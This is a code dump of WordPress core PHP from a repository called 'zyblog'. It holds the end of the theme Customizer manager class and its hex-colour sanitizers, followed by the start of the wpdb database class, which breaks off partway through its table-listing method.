customize query variable exist. Init filters to filter the current theme. * * @since 3.4.0 */ public function setup_theme() { send_origin_headers(); if ( is_admin() && ! $this->doing_ajax() ) auth_redirect(); elseif ( $this->doing_ajax() && ! is_user_logged_in() ) $this->wp_die( 0 ); show_admin_bar( false ); if ( ! current_user_can( 'edit_theme_options' ) ) $this->wp_die( -1 ); $this->original_stylesheet = get_stylesheet(); $this->theme = wp_get_theme( isset( $_REQUEST['theme'] ) ? $_REQUEST['theme'] : null ); if ( $this->is_theme_active() ) { // Once the theme is loaded, we'll validate it. add_action( 'after_setup_theme', array( $this, 'after_setup_theme' ) ); } else { if ( ! current_user_can( 'switch_themes' ) ) $this->wp_die( -1 ); // If the theme isn't active, you can't preview it if it is not allowed or has errors. if ( $this->theme()->errors() ) $this->wp_die( -1 ); if ( ! $this->theme()->is_allowed() ) $this->wp_die( -1 ); } $this->start_previewing_theme(); } /** * Callback to validate a theme once it is loaded * * @since 3.4.0 */ function after_setup_theme() { if ( ! $this->doing_ajax() && ! validate_current_theme() ) { wp_redirect( 'themes.php?broken=true' ); exit; } } /** * Start previewing the selected theme. * * Adds filters to change the current theme. * * @since 3.4.0 */ public function start_previewing_theme() { // Bail if we're already previewing. if ( $this->is_preview() ) return; $this->previewing = true; if ( ! $this->is_theme_active() ) { add_filter( 'template', array( $this, 'get_template' ) ); add_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: http://core.trac.wordpress.org/ticket/20027 add_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. add_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); add_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } do_action( 'start_previewing_theme', $this ); } /** * Stop previewing the selected theme. * * Removes filters to change the current theme. * * @since 3.4.0 */ public function stop_previewing_theme() { if ( ! $this->is_preview() ) return; $this->previewing = false; if ( ! $this->is_theme_active() ) { remove_filter( 'template', array( $this, 'get_template' ) ); remove_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: http://core.trac.wordpress.org/ticket/20027 remove_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. remove_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); remove_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } do_action( 'stop_previewing_theme', $this ); } /** * Get the theme being customized. * * @since 3.4.0 * * @return WP_Theme */ public function theme() { return $this->theme; } /** * Get the registered settings. * * @since 3.4.0 * * @return array */ public function settings() { return $this->settings; } /** * Get the registered controls. * * @since 3.4.0 * * @return array */ public function controls() { return $this->controls; } /** * Get the registered sections. * * @since 3.4.0 * * @return array */ public function sections() { return $this->sections; } /** * Checks if the current theme is active. * * @since 3.4.0 * * @return bool */ public function is_theme_active() { return $this->get_stylesheet() == $this->original_stylesheet; } /** * Register styles/scripts and initialize the preview of each setting * * @since 3.4.0 */ public function wp_loaded() { do_action( 'customize_register', $this ); if ( $this->is_preview() && ! is_admin() ) $this->customize_preview_init(); } /** * Prevents AJAX requests from following redirects when previewing a theme * by issuing a 200 response instead of a 30x. * * Instead, the JS will sniff out the location header. * * @since 3.4.0 * * @param $status * @return int */ public function wp_redirect_status( $status ) { if ( $this->is_preview() && ! is_admin() ) return 200; return $status; } /** * Decode the $_POST attribute used to override the WP_Customize_Setting values. * * @since 3.4.0 * * @param mixed $setting A WP_Customize_Setting derived object * @return string Sanitized attribute */ public function post_value( $setting ) { if ( ! isset( $this->_post_values ) ) { if ( isset( $_POST['customized'] ) ) $this->_post_values = json_decode( stripslashes( $_POST['customized'] ), true ); else $this->_post_values = false; } if ( isset( $this->_post_values[ $setting->id ] ) ) return $setting->sanitize( $this->_post_values[ $setting->id ] ); } /** * Print javascript settings. * * @since 3.4.0 */ public function customize_preview_init() { $this->nonce_tick = check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce' ); $this->prepare_controls(); wp_enqueue_script( 'customize-preview' ); add_action( 'wp_head', array( $this, 'customize_preview_base' ) ); add_action( 'wp_head', array( $this, 'customize_preview_html5' ) ); add_action( 'wp_footer', array( $this, 'customize_preview_settings' ), 20 ); add_action( 'shutdown', array( $this, 'customize_preview_signature' ), 1000 ); add_filter( 'wp_die_handler', array( $this, 'remove_preview_signature' ) ); foreach ( $this->settings as $setting ) { $setting->preview(); } do_action( 'customize_preview_init', $this ); } /** * Print base element for preview frame. * * @since 3.4.0 */ public function customize_preview_base() { ?><base href="<?php echo home_url( '/' ); ?>" /><?php } /** * Print a workaround to handle HTML5 tags in IE < 9 * * @since 3.4.0 */ public function customize_preview_html5() { ?> <!--[if lt IE 9]> <script type="text/javascript"> var e = [ 'abbr', 'article', 'aside', 'audio', 'canvas', 'datalist', 'details', 'figure', 'footer', 'header', 'hgroup', 'mark', 'menu', 'meter', 'nav', 'output', 'progress', 'section', 'time', 'video' ]; for ( var i = 0; i < e.length; i++ ) { document.createElement( e[i] ); } </script> <![endif]--><?php } /** * Print javascript settings for preview frame. * * @since 3.4.0 */ public function customize_preview_settings() { $settings = array( 'values' => array(), 'channel' => esc_js( $_POST['customize_messenger_channel'] ), ); if ( 2 == $this->nonce_tick ) { $settings['nonce'] = array( 'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ), 'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ) ); } foreach ( $this->settings as $id => $setting ) { $settings['values'][ $id ] = $setting->js_value(); } ?> <script type="text/javascript"> var _wpCustomizeSettings = <?php echo json_encode( $settings ); ?>; </script> <?php } /** * Prints a signature so we can ensure the customizer was properly executed. * * @since 3.4.0 */ public function customize_preview_signature() { echo 'WP_CUSTOMIZER_SIGNATURE'; } /** * Removes the signature in case we experience a case where the customizer was not properly executed. * * @since 3.4.0 */ public function remove_preview_signature( $return = null ) { remove_action( 'shutdown', array( $this, 'customize_preview_signature' ), 1000 ); return $return; } /** * Is it a theme preview? * * @since 3.4.0 * * @return bool True if it's a preview, false if not. */ public function is_preview() { return (bool) $this->previewing; } /** * Retrieve the template name of the previewed theme. * * @since 3.4.0 * * @return string Template name. */ public function get_template() { return $this->theme()->get_template(); } /** * Retrieve the stylesheet name of the previewed theme. * * @since 3.4.0 * * @return string Stylesheet name. */ public function get_stylesheet() { return $this->theme()->get_stylesheet(); } /** * Retrieve the template root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_template_root() { return get_raw_theme_root( $this->get_template(), true ); } /** * Retrieve the stylesheet root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_stylesheet_root() { return get_raw_theme_root( $this->get_stylesheet(), true ); } /** * Filter the current theme and return the name of the previewed theme. * * @since 3.4.0 * * @param $current_theme {@internal Parameter is not used} * @return string Theme name. */ public function current_theme( $current_theme ) { return $this->theme()->display('Name'); } /** * Switch the theme and trigger the save action of each setting. * * @since 3.4.0 */ public function save() { if ( ! $this->is_preview() ) die; check_ajax_referer( 'save-customize_' . $this->get_stylesheet(), 'nonce' ); // Do we have to switch themes? if ( ! $this->is_theme_active() ) { // Temporarily stop previewing the theme to allow switch_themes() // to operate properly. $this->stop_previewing_theme(); switch_theme( $this->get_stylesheet() ); $this->start_previewing_theme(); } do_action( 'customize_save', $this ); foreach ( $this->settings as $setting ) { $setting->save(); } die; } /** * Add a customize setting. * * @since 3.4.0 * * @param string $id A specific ID of the setting. Can be a * theme mod or option name. * @param array $args Setting arguments. */ public function add_setting( $id, $args = array() ) { if ( is_a( $id, 'WP_Customize_Setting' ) ) $setting = $id; else $setting = new WP_Customize_Setting( $this, $id, $args ); $this->settings[ $setting->id ] = $setting; } /** * Retrieve a customize setting. * * @since 3.4.0 * * @param string $id A specific ID of the setting. * @return object The settings object. */ public function get_setting( $id ) { if ( isset( $this->settings[ $id ] ) ) return $this->settings[ $id ]; } /** * Remove a customize setting. * * @since 3.4.0 * * @param string $id A specific ID of the setting. */ public function remove_setting( $id ) { unset( $this->settings[ $id ] ); } /** * Add a customize section. * * @since 3.4.0 * * @param string $id A specific ID of the section. * @param array $args Section arguments. */ public function add_section( $id, $args = array() ) { if ( is_a( $id, 'WP_Customize_Section' ) ) $section = $id; else $section = new WP_Customize_Section( $this, $id, $args ); $this->sections[ $section->id ] = $section; } /** * Retrieve a customize section. * * @since 3.4.0 * * @param string $id A specific ID of the section. * @return object The section object. */ public function get_section( $id ) { if ( isset( $this->sections[ $id ] ) ) return $this->sections[ $id ]; } /** * Remove a customize section. * * @since 3.4.0 * * @param string $id A specific ID of the section. */ public function remove_section( $id ) { unset( $this->sections[ $id ] ); } /** * Add a customize control. * * @since 3.4.0 * * @param string $id A specific ID of the control. * @param array $args Setting arguments. */ public function add_control( $id, $args = array() ) { if ( is_a( $id, 'WP_Customize_Control' ) ) $control = $id; else $control = new WP_Customize_Control( $this, $id, $args ); $this->controls[ $control->id ] = $control; } /** * Retrieve a customize control. * * @since 3.4.0 * * @param string $id A specific ID of the control. * @return object The settings object. */ public function get_control( $id ) { if ( isset( $this->controls[ $id ] ) ) return $this->controls[ $id ]; } /** * Remove a customize setting. * * @since 3.4.0 * * @param string $id A specific ID of the control. */ public function remove_control( $id ) { unset( $this->controls[ $id ] ); } /** * Helper function to compare two objects by priority. * * @since 3.4.0 * * @param object $a Object A. * @param object $b Object B. * @return int */ protected final function _cmp_priority( $a, $b ) { $ap = $a->priority; $bp = $b->priority; if ( $ap == $bp ) return 0; return ( $ap > $bp ) ? 1 : -1; } /** * Prepare settings and sections. * * @since 3.4.0 */ public function prepare_controls() { // Prepare controls // Reversing makes uasort sort by time added when conflicts occur. $this->controls = array_reverse( $this->controls ); $controls = array(); foreach ( $this->controls as $id => $control ) { if ( ! isset( $this->sections[ $control->section ] ) || ! $control->check_capabilities() ) continue; $this->sections[ $control->section ]->controls[] = $control; $controls[ $id ] = $control; } $this->controls = $controls; // Prepare sections $this->sections = array_reverse( $this->sections ); uasort( $this->sections, array( $this, '_cmp_priority' ) ); $sections = array(); foreach ( $this->sections as $section ) { if ( ! $section->check_capabilities() || ! $section->controls ) continue; usort( $section->controls, array( $this, '_cmp_priority' ) ); $sections[] = $section; } $this->sections = $sections; } /** * Enqueue scripts for customize controls. * * @since 3.4.0 */ public function enqueue_control_scripts() { foreach ( $this->controls as $control ) { $control->enqueue(); } } /** * Register some default controls. * * @since 3.4.0 */ public function register_controls() { /* Site Title & Tagline */ $this->add_section( 'title_tagline', array( 'title' => __( 'Site Title & Tagline' ), 'priority' => 20, ) ); $this->add_setting( 'blogname', array( 'default' => get_option( 'blogname' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogname', array( 'label' => __( 'Site Title' ), 'section' => 'title_tagline', ) ); $this->add_setting( 'blogdescription', array( 'default' => get_option( 'blogdescription' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogdescription', array( 'label' => __( 'Tagline' ), 'section' => 'title_tagline', ) ); /* Colors */ $this->add_section( 'colors', array( 'title' => __( 'Colors' ), 'priority' => 40, ) ); $this->add_setting( 'header_textcolor', array( 'theme_supports' => array( 'custom-header', 'header-text' ), 'default' => get_theme_support( 'custom-header', 'default-text-color' ), 'sanitize_callback' => array( $this, '_sanitize_header_textcolor' ), 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); // Input type: checkbox // With custom value $this->add_control( 'display_header_text', array( 'settings' => 'header_textcolor', 'label' => __( 'Display Header Text' ), 'section' => 'title_tagline', 'type' => 'checkbox', ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'header_textcolor', array( 'label' => __( 'Header Text Color' ), 'section' => 'colors', ) ) ); // Input type: Color // With sanitize_callback $this->add_setting( 'background_color', array( 'default' => get_theme_support( 'custom-background', 'default-color' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => 'sanitize_hex_color_no_hash', 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'background_color', array( 'label' => __( 'Background Color' ), 'section' => 'colors', ) ) ); /* Custom Header */ $this->add_section( 'header_image', array( 'title' => __( 'Header Image' ), 'theme_supports' => 'custom-header', 'priority' => 60, ) ); $this->add_setting( new WP_Customize_Filter_Setting( $this, 'header_image', array( 'default' => get_theme_support( 'custom-header', 'default-image' ), 'theme_supports' => 'custom-header', ) ) ); $this->add_setting( new WP_Customize_Header_Image_Setting( $this, 'header_image_data', array( // 'default' => get_theme_support( 'custom-header', 'default-image' ), 'theme_supports' => 'custom-header', ) ) ); $this->add_control( new WP_Customize_Header_Image_Control( $this ) ); /* Custom Background */ $this->add_section( 'background_image', array( 'title' => __( 'Background Image' ), 'theme_supports' => 'custom-background', 'priority' => 80, ) ); $this->add_setting( 'background_image', array( 'default' => get_theme_support( 'custom-background', 'default-image' ), 'theme_supports' => 'custom-background', ) ); $this->add_setting( new WP_Customize_Background_Image_Setting( $this, 'background_image_thumb', array( 'theme_supports' => 'custom-background', ) ) ); $this->add_control( new WP_Customize_Background_Image_Control( $this ) ); $this->add_setting( 'background_repeat', array( 'default' => 'repeat', 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_repeat', array( 'label' => __( 'Background Repeat' ), 'section' => 'background_image', 'type' => 'radio', 'choices' => array( 'no-repeat' => __('No Repeat'), 'repeat' => __('Tile'), 'repeat-x' => __('Tile Horizontally'), 'repeat-y' => __('Tile Vertically'), ), ) ); $this->add_setting( 'background_position_x', array( 'default' => 'left', 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_position_x', array( 'label' => __( 'Background Position' ), 'section' => 'background_image', 'type' => 'radio', 'choices' => array( 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right'), ), ) ); $this->add_setting( 'background_attachment', array( 'default' => 'fixed', 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_attachment', array( 'label' => __( 'Background Attachment' ), 'section' => 'background_image', 'type' => 'radio', 'choices' => array( 'fixed' => __('Fixed'), 'scroll' => __('Scroll'), ), ) ); // If the theme is using the default background callback, we can update // the background CSS using postMessage. if ( get_theme_support( 'custom-background', 'wp-head-callback' ) === '_custom_background_cb' ) { foreach ( array( 'color', 'image', 'position_x', 'repeat', 'attachment' ) as $prop ) { $this->get_setting( 'background_' . $prop )->transport = 'postMessage'; } } /* Nav Menus */ $locations = get_registered_nav_menus(); $menus = wp_get_nav_menus(); $menu_locations = get_nav_menu_locations(); $num_locations = count( array_keys( $locations ) ); $this->add_section( 'nav', array( 'title' => __( 'Navigation' ), 'theme_supports' => 'menus', 'priority' => 100, 'description' => sprintf( _n('Your theme supports %s menu. Select which menu you would like to use.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . "\n\n" . __('You can edit your menu content on the Menus screen in the Appearance section.'), ) ); if ( $menus ) { $choices = array( 0 => __( '&mdash; Select &mdash;' ) ); foreach ( $menus as $menu ) { $truncated_name = wp_html_excerpt( $menu->name, 40 ); $truncated_name = ( $truncated_name == $menu->name ) ? $menu->name : trim( $truncated_name ) . '&hellip;'; $choices[ $menu->term_id ] = $truncated_name; } foreach ( $locations as $location => $description ) { $menu_setting_id = "nav_menu_locations[{$location}]"; $this->add_setting( $menu_setting_id, array( 'sanitize_callback' => 'absint', 'theme_supports' => 'menus', ) ); $this->add_control( $menu_setting_id, array( 'label' => $description, 'section' => 'nav', 'type' => 'select', 'choices' => $choices, ) ); } } /* Static Front Page */ // #WP19627 $this->add_section( 'static_front_page', array( 'title' => __( 'Static Front Page' ), // 'theme_supports' => 'static-front-page', 'priority' => 120, 'description' => __( 'Your theme supports a static front page.' ), ) ); $this->add_setting( 'show_on_front', array( 'default' => get_option( 'show_on_front' ), 'capability' => 'manage_options', 'type' => 'option', // 'theme_supports' => 'static-front-page', ) ); $this->add_control( 'show_on_front', array( 'label' => __( 'Front page displays' ), 'section' => 'static_front_page', 'type' => 'radio', 'choices' => array( 'posts' => __( 'Your latest posts' ), 'page' => __( 'A static page' ), ), ) ); $this->add_setting( 'page_on_front', array( 'type' => 'option', 'capability' => 'manage_options', // 'theme_supports' => 'static-front-page', ) ); $this->add_control( 'page_on_front', array( 'label' => __( 'Front page' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', ) ); $this->add_setting( 'page_for_posts', array( 'type' => 'option', 'capability' => 'manage_options', // 'theme_supports' => 'static-front-page', ) ); $this->add_control( 'page_for_posts', array( 'label' => __( 'Posts page' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', ) ); } /** * Callback for validating the header_textcolor value. * * Accepts 'blank', and otherwise uses sanitize_hex_color_no_hash(). * * @since 3.4.0 * * @param string $color * @return string */ public function _sanitize_header_textcolor( $color ) { return ( 'blank' === $color ) ? 'blank' : sanitize_hex_color_no_hash( $color ); } }; /** * Validates a hex color. * * Returns either '', a 3 or 6 digit hex color (with #), or null. * For validating values without a #, see sanitize_hex_color_no_hash(). * * @since 3.4.0 * * @param string $color * @return string|null */ function sanitize_hex_color( $color ) { if ( '' === $color ) return ''; // 3 or 6 hex digits, or the empty string. if ( preg_match('|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) return $color; return null; } /** * Sanitizes a hex color without a hash. Use sanitize_hex_color() when possible. * * Saving hex colors without a hash puts the burden of adding the hash on the * UI, which makes it difficult to use or upgrade to other color types such as * rgba, hsl, rgb, and html color names. * * Returns either '', a 3 or 6 digit hex color (without a #), or null. * * @since 3.4.0 * @uses sanitize_hex_color() * * @param string $color * @return string|null */ function sanitize_hex_color_no_hash( $color ) { $color = ltrim( $color, '#' ); if ( '' === $color ) return ''; return sanitize_hex_color( '#' . $color ) ? $color : null; } /** * Ensures that any hex color is properly hashed. * Otherwise, returns value untouched. * * This method should only be necessary if using sanitize_hex_color_no_hash(). * * @since 3.4.0 * * @param string $color * @return string */ function maybe_hash_hex_color( $color ) { if ( $unhashed = sanitize_hex_color_no_hash( $color ) ) return '#' . $unhashed; return $color; }
zyblog
trunk/zyblog/wp-includes/class-wp-customize-manager.php
PHP
asf20
26,975
<?php /** * WordPress DB Class * * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)} * * @package WordPress * @subpackage Database * @since 0.71 */ /** * @since 0.71 */ define( 'EZSQL_VERSION', 'WP1.25' ); /** * @since 0.71 */ define( 'OBJECT', 'OBJECT', true ); /** * @since 2.5.0 */ define( 'OBJECT_K', 'OBJECT_K' ); /** * @since 0.71 */ define( 'ARRAY_A', 'ARRAY_A' ); /** * @since 0.71 */ define( 'ARRAY_N', 'ARRAY_N' ); /** * WordPress Database Access Abstraction Object * * It is possible to replace this class with your own * by setting the $wpdb global variable in wp-content/db.php * file to your class. The wpdb class will still be included, * so you can extend it or simply use your own. * * @link http://codex.wordpress.org/Function_Reference/wpdb_Class * * @package WordPress * @subpackage Database * @since 0.71 */ class wpdb { /** * Whether to show SQL/DB errors * * @since 0.71 * @access private * @var bool */ var $show_errors = false; /** * Whether to suppress errors during the DB bootstrapping. * * @access private * @since 2.5.0 * @var bool */ var $suppress_errors = false; /** * The last error during query. * * @since 2.5.0 * @var string */ var $last_error = ''; /** * Amount of queries made * * @since 1.2.0 * @access private * @var int */ var $num_queries = 0; /** * Count of rows returned by previous query * * @since 0.71 * @access private * @var int */ var $num_rows = 0; /** * Count of affected rows by previous query * * @since 0.71 * @access private * @var int */ var $rows_affected = 0; /** * The ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT). * * @since 0.71 * @access public * @var int */ var $insert_id = 0; /** * Last query made * * @since 0.71 * @access private * @var array */ var $last_query; /** * Results of the last query made * * @since 0.71 * @access private * @var array|null */ var $last_result; /** * MySQL result, which is either a resource or boolean. * * @since 0.71 * @access protected * @var mixed */ protected $result; /** * Saved info on the table column * * @since 0.71 * @access protected * @var array */ protected $col_info; /** * Saved queries that were executed * * @since 1.5.0 * @access private * @var array */ var $queries; /** * WordPress table prefix * * You can set this to have multiple WordPress installations * in a single database. The second reason is for possible * security precautions. * * @since 2.5.0 * @access private * @var string */ var $prefix = ''; /** * Whether the database queries are ready to start executing. * * @since 2.3.2 * @access private * @var bool */ var $ready = false; /** * {@internal Missing Description}} * * @since 3.0.0 * @access public * @var int */ var $blogid = 0; /** * {@internal Missing Description}} * * @since 3.0.0 * @access public * @var int */ var $siteid = 0; /** * List of WordPress per-blog tables * * @since 2.5.0 * @access private * @see wpdb::tables() * @var array */ var $tables = array( 'posts', 'comments', 'links', 'options', 'postmeta', 'terms', 'term_taxonomy', 'term_relationships', 'commentmeta' ); /** * List of deprecated WordPress tables * * categories, post2cat, and link2cat were deprecated in 2.3.0, db version 5539 * * @since 2.9.0 * @access private * @see wpdb::tables() * @var array */ var $old_tables = array( 'categories', 'post2cat', 'link2cat' ); /** * List of WordPress global tables * * @since 3.0.0 * @access private * @see wpdb::tables() * @var array */ var $global_tables = array( 'users', 'usermeta' ); /** * List of Multisite global tables * * @since 3.0.0 * @access private * @see wpdb::tables() * @var array */ var $ms_global_tables = array( 'blogs', 'signups', 'site', 'sitemeta', 'sitecategories', 'registration_log', 'blog_versions' ); /** * WordPress Comments table * * @since 1.5.0 * @access public * @var string */ var $comments; /** * WordPress Comment Metadata table * * @since 2.9.0 * @access public * @var string */ var $commentmeta; /** * WordPress Links table * * @since 1.5.0 * @access public * @var string */ var $links; /** * WordPress Options table * * @since 1.5.0 * @access public * @var string */ var $options; /** * WordPress Post Metadata table * * @since 1.5.0 * @access public * @var string */ var $postmeta; /** * WordPress Posts table * * @since 1.5.0 * @access public * @var string */ var $posts; /** * WordPress Terms table * * @since 2.3.0 * @access public * @var string */ var $terms; /** * WordPress Term Relationships table * * @since 2.3.0 * @access public * @var string */ var $term_relationships; /** * WordPress Term Taxonomy table * * @since 2.3.0 * @access public * @var string */ var $term_taxonomy; /* * Global and Multisite tables */ /** * WordPress User Metadata table * * @since 2.3.0 * @access public * @var string */ var $usermeta; /** * WordPress Users table * * @since 1.5.0 * @access public * @var string */ var $users; /** * Multisite Blogs table * * @since 3.0.0 * @access public * @var string */ var $blogs; /** * Multisite Blog Versions table * * @since 3.0.0 * @access public * @var string */ var $blog_versions; /** * Multisite Registration Log table * * @since 3.0.0 * @access public * @var string */ var $registration_log; /** * Multisite Signups table * * @since 3.0.0 * @access public * @var string */ var $signups; /** * Multisite Sites table * * @since 3.0.0 * @access public * @var string */ var $site; /** * Multisite Sitewide Terms table * * @since 3.0.0 * @access public * @var string */ var $sitecategories; /** * Multisite Site Metadata table * * @since 3.0.0 * @access public * @var string */ var $sitemeta; /** * Format specifiers for DB columns. Columns not listed here default to %s. Initialized during WP load. * * Keys are column names, values are format types: 'ID' => '%d' * * @since 2.8.0 * @see wpdb::prepare() * @see wpdb::insert() * @see wpdb::update() * @see wpdb::delete() * @see wp_set_wpdb_vars() * @access public * @var array */ var $field_types = array(); /** * Database table columns charset * * @since 2.2.0 * @access public * @var string */ var $charset; /** * Database table columns collate * * @since 2.2.0 * @access public * @var string */ var $collate; /** * Whether to use mysql_real_escape_string * * @since 2.8.0 * @access public * @var bool */ var $real_escape = false; /** * Database Username * * @since 2.9.0 * @access protected * @var string */ protected $dbuser; /** * Database Password * * @since 3.1.0 * @access protected * @var string */ protected $dbpassword; /** * Database Name * * @since 3.1.0 * @access protected * @var string */ protected $dbname; /** * Database Host * * @since 3.1.0 * @access protected * @var string */ protected $dbhost; /** * Database Handle * * @since 0.71 * @access protected * @var string */ protected $dbh; /** * A textual description of the last query/get_row/get_var call * * @since 3.0.0 * @access public * @var string */ var $func_call; /** * Whether MySQL is used as the database engine. * * Set in WPDB::db_connect() to true, by default. This is used when checking * against the required MySQL version for WordPress. Normally, a replacement * database drop-in (db.php) will skip these checks, but setting this to true * will force the checks to occur. * * @since 3.3.0 * @access public * @var bool */ public $is_mysql = null; /** * Connects to the database server and selects a database * * PHP5 style constructor for compatibility with PHP5. Does * the actual setting up of the class properties and connection * to the database. * * @link http://core.trac.wordpress.org/ticket/3354 * @since 2.0.8 * * @param string $dbuser MySQL database user * @param string $dbpassword MySQL database password * @param string $dbname MySQL database name * @param string $dbhost MySQL database host */ function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) { register_shutdown_function( array( $this, '__destruct' ) ); if ( WP_DEBUG ) $this->show_errors(); $this->init_charset(); $this->dbuser = $dbuser; $this->dbpassword = $dbpassword; $this->dbname = $dbname; $this->dbhost = $dbhost; $this->db_connect(); } /** * PHP5 style destructor and will run when database object is destroyed. * * @see wpdb::__construct() * @since 2.0.8 * @return bool true */ function __destruct() { return true; } /** * PHP5 style magic getter, used to lazy-load expensive data. * * @since 3.5.0 * * @param string $name The private member to get, and optionally process * @return mixed The private member */ function __get( $name ) { if ( 'col_info' == $name ) $this->load_col_info(); return $this->$name; } /** * Magic function, for backwards compatibility * * @since 3.5.0 * * @param string $name The private member to set * @param mixed $value The value to set */ function __set( $name, $value ) { $this->$name = $value; } /** * Magic function, for backwards compatibility * * @since 3.5.0 * * @param string $name The private member to check * * @return bool If the member is set or not */ function __isset( $name ) { return isset( $this->$name ); } /** * Magic function, for backwards compatibility * * @since 3.5.0 * * @param string $name The private member to unset */ function __unset( $name ) { unset( $this->$name ); } /** * Set $this->charset and $this->collate * * @since 3.1.0 */ function init_charset() { if ( function_exists('is_multisite') && is_multisite() ) { $this->charset = 'utf8'; if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) $this->collate = DB_COLLATE; else $this->collate = 'utf8_general_ci'; } elseif ( defined( 'DB_COLLATE' ) ) { $this->collate = DB_COLLATE; } if ( defined( 'DB_CHARSET' ) ) $this->charset = DB_CHARSET; } /** * Sets the connection's character set. * * @since 3.1.0 * * @param resource $dbh The resource given by mysql_connect * @param string $charset The character set (optional) * @param string $collate The collation (optional) */ function set_charset($dbh, $charset = null, $collate = null) { if ( !isset($charset) ) $charset = $this->charset; if ( !isset($collate) ) $collate = $this->collate; if ( $this->has_cap( 'collation', $dbh ) && !empty( $charset ) ) { if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset', $dbh ) ) { mysql_set_charset( $charset, $dbh ); $this->real_escape = true; } else { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) $query .= $this->prepare( ' COLLATE %s', $collate ); mysql_query( $query, $dbh ); } } } /** * Sets the table prefix for the WordPress tables. * * @since 2.5.0 * * @param string $prefix Alphanumeric name for the new prefix. * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, should be updated or not. * @return string|WP_Error Old prefix or WP_Error on error */ function set_prefix( $prefix, $set_table_names = true ) { if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) return new WP_Error('invalid_db_prefix', 'Invalid database prefix' ); $old_prefix = is_multisite() ? '' : $prefix; if ( isset( $this->base_prefix ) ) $old_prefix = $this->base_prefix; $this->base_prefix = $prefix; if ( $set_table_names ) { foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; if ( is_multisite() && empty( $this->blogid ) ) return $old_prefix; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; } return $old_prefix; } /** * Sets blog id. * * @since 3.0.0 * @access public * @param int $blog_id * @param int $site_id Optional. * @return string previous blog id */ function set_blog_id( $blog_id, $site_id = 0 ) { if ( ! empty( $site_id ) ) $this->siteid = $site_id; $old_blog_id = $this->blogid; $this->blogid = $blog_id; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; return $old_blog_id; } /** * Gets blog prefix. * * @uses is_multisite() * @since 3.0.0 * @param int $blog_id Optional. * @return string Blog prefix. */ function get_blog_prefix( $blog_id = null ) { if ( is_multisite() ) { if ( null === $blog_id ) $blog_id = $this->blogid; $blog_id = (int) $blog_id; if ( defined( 'MULTISITE' ) && ( 0 == $blog_id || 1 == $blog_id ) ) return $this->base_prefix; else return $this->base_prefix . $blog_id . '_'; } else { return $this->base_prefix; } } /** * Returns an array of WordPress tables. * * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to * override the WordPress users and usermeta tables that would otherwise * be determined by the prefix. * * The scope argument can take one of the following: * * 'all' - returns 'all' and 'global' tables. No old tables are returned. * 'blog' - returns the blog-level tables for the queried blog. * 'global' - returns the global tables for the installation, returning multisite tables only if running multisite. * 'ms_global' - returns the multisite global tables, regardless if current installation is multisite. * 'old' - returns tables which are deprecated. * * @since 3.0.0 * @uses wpdb::$tables * @uses wpdb::$old_tables * @uses wpdb::$global_tables * @uses wpdb::$ms_global_tables * @uses is_multisite() * * @param string $scope Optional. Can be all, global, ms_global, blog, or old tables. Defaults to all. * @param bool $prefix Optional. Whether to include table prefixes. Default true. If blog * prefix is requested, then the custom users and usermeta tables will be mapped. * @param int $blog_id Optional. The blog_id to prefix. Defaults to wpdb::$blogid. Used only when prefix is requested. * @return array Table names. When a prefix is requested, the key is the unprefixed table name. */ function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) { switch ( $scope ) { case 'all' : $tables = array_merge( $this->global_tables, $this->tables ); if ( is_multisite() ) $tables = array_merge( $tables, $this->ms_global_tables ); break; case 'blog' : $tables = $this->tables; break; case 'global' : $tables = $this->global_tables; if ( is_multisite() ) $tables = array_merge( $tables, $this->ms_global_tables ); 